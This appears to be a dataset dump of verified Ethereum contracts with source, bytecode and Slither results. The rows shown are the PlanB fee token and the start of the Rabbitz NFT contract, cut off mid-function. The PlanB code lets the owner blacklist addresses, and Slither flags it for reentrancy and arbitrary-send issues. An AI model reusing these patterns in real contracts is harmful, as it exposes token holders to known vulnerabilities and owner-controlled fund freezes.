address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x16bce46b83ca89893775eab3ca6e8e03bccf5b90
|
/**
*Submitted for verification at Etherscan.io on 2021-10-20
*/
//TG https://t.me/PlanBToken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PlanB is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Plan B";
string private constant _symbol = "PlanB";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d4578063a9059cbb14610302578063c3c8cd8014610322578063d543dbeb14610337578063dd62ed3e1461035757600080fd5b80636fc3eaec1461026257806370a0823114610277578063715018a6146102975780638da5cb5b146102ac57600080fd5b806323b872dd116100dc57806323b872dd146101d1578063293230b8146101f1578063313ce567146102065780635932ead1146102225780636b9990531461024257600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a7565b61039d565b005b34801561014657600080fd5b50604080518082019091526006815265283630b7102160d11b60208201525b60405161017291906119eb565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461187c565b61044a565b6040519015158152602001610172565b3480156101b757600080fd5b50683635c9adc5dea000005b604051908152602001610172565b3480156101dd57600080fd5b5061019b6101ec36600461183c565b610461565b3480156101fd57600080fd5b506101386104ca565b34801561021257600080fd5b5060405160098152602001610172565b34801561022e57600080fd5b5061013861023d36600461196e565b61088d565b34801561024e57600080fd5b5061013861025d3660046117cc565b6108d5565b34801561026e57600080fd5b50610138610920565b34801561028357600080fd5b506101c36102923660046117cc565b61094d565b3480156102a357600080fd5b5061013861096f565b3480156102b857600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102e057600080fd5b50604080518082019091526005815264283630b72160d91b6020820152610165565b34801561030e57600080fd5b5061019b61031d36600461187c565b6109e3565b34801561032e57600080fd5b506101386109f0565b34801561034357600080fd5b506101386103523660046119a6565b610a26565b34801561036357600080fd5b506101c3610372366004611804565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d05760405162461bcd60e51b81526004016103c790611a3e565b60405180910390fd5b60005b8151811015610446576001600a600084848151811061040257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043e81611b51565b9150506103d3565b5050565b6000610457338484610af9565b5060015b92915050565b600061046e848484610c1d565b6104c084336104bb85604051806060016040528060288152602001611bbc602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102f565b610af9565b5060019392505050565b6000546001600160a01b031633146104f45760405162461bcd60e51b81526004016103c790611a3e565b600f54600160a01b900460ff161561054e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c7565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058b3082683635c9adc5dea00000610af9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c457600080fd5b505afa1580156105d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fc91906117e8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064457600080fd5b505afa158015610658573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067c91906117e8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c457600080fd5b505af11580156106d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fc91906117e8565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072c8161094d565b6000806107416000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a457600080fd5b505af11580156107b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107dd91906119be565b5050600f805468056bc75e2d6310000060105563ffff00ff60a01b1981166201000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061198a565b6000546001600160a01b031633146108b75760405162461bcd60e51b81526004016103c790611a3e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016103c790611a3e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094057600080fd5b4761094a81611069565b50565b6001600160a01b03811660009081526002602052604081205461045b906110ee565b6000546001600160a01b031633146109995760405162461bcd60e51b81526004016103c790611a3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610457338484610c1d565b600c546001600160a01b0316336001600160a01b031614610a1057600080fd5b6000610a1b3061094d565b905061094a81611172565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016103c790611a3e565b60008111610aa05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c7565b610abe6064610ab8683635c9adc5dea0000084611317565b90611396565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c7565b6001600160a01b038216610bbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c7565b6001600160a01b038216610ce35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c7565b60008111610d455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c7565b6000546001600160a01b03848116911614801590610d7157506000546001600160a01b03838116911614155b15610fd257600f54600160b81b900460ff1615610e58576001600160a01b0383163014801590610daa57506001600160a01b0382163014155b8015610dc45750600e546001600160a01b03848116911614155b8015610dde5750600e546001600160a01b03838116911614155b15610e5857600e546001600160a01b0316336001600160a01b03161480610e185750600f546001600160a01b0316336001600160a01b0316145b610e585760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c7565b601054811115610e6757600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea957506001600160a01b0382166000908152600a602052604090205460ff16155b610eb257600080fd5b600f546001600160a01b038481169116148015610edd5750600e546001600160a01b03838116911614155b8015610f0257506001600160a01b03821660009081526005602052604090205460ff16155b8015610f175750600f54600160b81b900460ff165b15610f65576001600160a01b0382166000908152600b60205260409020544211610f4057600080fd5b610f4b42601e611ae3565b6001600160a01b0383166000908152600b60205260409020555b6000610f703061094d565b600f54909150600160a81b900460ff16158015610f9b5750600f546001600160a01b03858116911614155b8015610fb05750600f54600160b01b900460ff165b15610fd057610fbe81611172565b478015610fce57610fce47611069565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101457506001600160a01b03831660009081526005602052604090205460ff165b1561101d575060005b611029848484846113d8565b50505050565b600081848411156110535760405162461bcd60e51b81526004016103c791906119eb565b5060006110608486611b3a565b95945050505050565b600c546001600160a01b03166108fc611083836002611396565b6040518115909202916000818181858888f193505050501580156110ab573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c6836002611396565b6040518115909202916000818181858888f19350505050158015610446573d6000803e3d6000fd5b60006006548211156111555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c7565b600061115f611404565b905061116b8382611396565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121c57600080fd5b505afa158015611230573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125491906117e8565b8160018151811061127557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461129b9130911684610af9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d4908590600090869030904290600401611a73565b600060405180830381600087803b1580156112ee57600080fd5b505af1158015611302573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113265750600061045b565b60006113328385611b1b565b90508261133f8583611afb565b1461116b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c7565b600061116b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611427565b806113e5576113e5611455565b6113f0848484611478565b80611029576110296000600855600a600955565b600080600061141161156f565b90925090506114208282611396565b9250505090565b600081836114485760405162461bcd60e51b81526004016103c791906119eb565b5060006110608486611afb565b6008541580156114655750600954155b1561146c57565b60006008819055600955565b60008060008060008061148a876115b1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114bc908761160e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114eb9086611650565b6001600160a01b03891660009081526002602052604090205561150d816116af565b61151784836116f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155c91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061158b8282611396565b8210156115a857505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115ce8a60085460095461171d565b92509250925060006115de611404565b905060008060006115f18e87878761176c565b919e509c509a509598509396509194505050505091939550919395565b600061116b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102f565b60008061165d8385611ae3565b90508381101561116b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c7565b60006116b9611404565b905060006116c78383611317565b306000908152600260205260409020549091506116e49082611650565b30600090815260026020526040902055505050565b600654611706908361160e565b6006556007546117169082611650565b6007555050565b60008080806117316064610ab88989611317565b905060006117446064610ab88a89611317565b9050600061175c826117568b8661160e565b9061160e565b9992985090965090945050505050565b600080808061177b8886611317565b905060006117898887611317565b905060006117978888611317565b905060006117a982611756868661160e565b939b939a50919850919650505050505050565b80356117c781611b98565b919050565b6000602082840312156117dd578081fd5b813561116b81611b98565b6000602082840312156117f9578081fd5b815161116b81611b98565b60008060408385031215611816578081fd5b823561182181611b98565b9150602083013561183181611b98565b809150509250929050565b600080600060608486031215611850578081fd5b833561185b81611b98565b9250602084013561186b81611b98565b929592945050506040919091013590565b6000806040838503121561188e578182fd5b823561189981611b98565b946020939093013593505050565b600060208083850312156118b9578182fd5b823567ffffffffffffffff808211156118d0578384fd5b818501915085601f8301126118e3578384fd5b8135818111156118f5576118f5611b82565b8060051b604051601f19603f8301168101818110858211171561191a5761191a611b82565b604052828152858101935084860182860187018a1015611938578788fd5b8795505b838610156119615761194d816117bc565b85526001959095019493860193860161193c565b5098975050505050505050565b60006020828403121561197f578081fd5b813561116b81611bad565b60006020828403121561199b578081fd5b815161116b81611bad565b6000602082840312156119b7578081fd5b5035919050565b6000806000606084860312156119d2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a17578581018301518582016040015282016119fb565b81811115611a285783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac25784516001600160a01b031683529383019391830191600101611a9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af657611af6611b6c565b500190565b600082611b1657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3557611b35611b6c565b500290565b600082821015611b4c57611b4c611b6c565b500390565b6000600019821415611b6557611b65611b6c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094a57600080fd5b801515811461094a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220534c97201bc37b9d8b39f7d60e9bc50c830541899398bca25d51acb44212c9f364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,300 |
0xa7233Dd5e417781f232cCa932d164FD17584209B
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/*
___ _ _ _ _
| _ \__ _| |__| |__(_) |_ ___
| / _` | '_ \ '_ \ | _|_ /
|_|_\__,_|_.__/_.__/_|\__/__|
A unique set of 1,000 collectable and tradable rabbit themed NFTs.
Website: https://rabbitz.xyz/
Created by sol_dev
*/
interface Receiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}
contract Metadata {
string public name = "Rabbitz";
string public symbol = "RBZ";
function contractURI() external pure returns (string memory) {
return "https://api.rabbitz.xyz/metadata";
}
function baseTokenURI() public pure returns (string memory) {
return "https://api.rabbitz.xyz/rabbit/metadata/";
}
function tokenURI(uint256 _tokenId) external pure returns (string memory) {
bytes memory _base = bytes(baseTokenURI());
uint256 _digits = 1;
uint256 _n = _tokenId;
while (_n > 9) {
_n /= 10;
_digits++;
}
bytes memory _uri = new bytes(_base.length + _digits);
for (uint256 i = 0; i < _uri.length; i++) {
if (i < _base.length) {
_uri[i] = _base[i];
} else {
uint256 _dec = (_tokenId / (10**(_uri.length - i - 1))) % 10;
_uri[i] = bytes1(uint8(_dec) + 48);
}
}
return string(_uri);
}
}
contract Rabbitz {
uint256 constant public MAX_NAME_LENGTH = 32;
uint256 constant public MAX_SUPPLY = 1000;
uint256 constant public MINTABLE_SUPPLY = 473;
uint256 constant public MINT_COST = 0.15 ether;
struct User {
uint256 balance;
mapping(uint256 => uint256) list;
mapping(address => bool) approved;
mapping(uint256 => uint256) indexOf;
}
struct Token {
address owner;
address approved;
bytes32 seed;
string name;
}
struct Info {
uint256 totalSupply;
uint256 totalMinted;
mapping(uint256 => Token) list;
mapping(address => User) users;
mapping(uint256 => uint256) claimedBitMap;
bytes32 merkleRoot;
Metadata metadata;
address owner;
}
Info private info;
mapping(bytes4 => bool) public supportsInterface;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Claimed(uint256 indexed index, address indexed account, uint256 amount);
event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed);
event Rename(address indexed owner, uint256 indexed tokenId, string name);
modifier _onlyOwner() {
require(msg.sender == owner());
_;
}
constructor(bytes32 _merkleRoot) {
info.metadata = new Metadata();
info.merkleRoot = _merkleRoot;
info.owner = msg.sender;
supportsInterface[0x01ffc9a7] = true; // ERC-165
supportsInterface[0x80ac58cd] = true; // ERC-721
supportsInterface[0x5b5e139f] = true; // Metadata
supportsInterface[0x780e9d63] = true; // Enumerable
for (uint256 i = 0; i < 10; i++) {
_mint(msg.sender);
}
}
function setOwner(address _owner) external _onlyOwner {
info.owner = _owner;
}
function setMetadata(Metadata _metadata) external _onlyOwner {
info.metadata = _metadata;
}
function ownerWithdraw() external _onlyOwner {
uint256 _balance = address(this).balance;
require(_balance > 0);
payable(msg.sender).transfer(_balance);
}
receive() external payable {
mintMany(msg.value / MINT_COST);
}
function mint() external payable {
mintMany(1);
}
function mintMany(uint256 _tokens) public payable {
require(_tokens > 0);
uint256 _cost = _tokens * MINT_COST;
require(msg.value >= _cost);
for (uint256 i = 0; i < _tokens; i++) {
_mint(msg.sender);
}
if (msg.value > _cost) {
payable(msg.sender).transfer(msg.value - _cost);
}
}
function claim(uint256 _index, address _account, uint256 _amount, bytes32[] calldata _merkleProof) external {
require(!isClaimed(_index));
bytes32 _node = keccak256(abi.encodePacked(_index, _account, _amount));
require(_verify(_merkleProof, _node));
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
info.claimedBitMap[_claimedWordIndex] = info.claimedBitMap[_claimedWordIndex] | (1 << _claimedBitIndex);
for (uint256 i = 0; i < _amount; i++) {
_create(_account);
}
emit Claimed(_index, _account, _amount);
}
function rename(uint256 _tokenId, string calldata _newName) external {
require(bytes(_newName).length <= MAX_NAME_LENGTH);
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].name = _newName;
emit Rename(msg.sender, _tokenId, _newName);
}
function approve(address _approved, uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function owner() public view returns (address) {
return info.owner;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function totalMinted() public view returns (uint256) {
return info.totalMinted;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].balance;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].owner;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
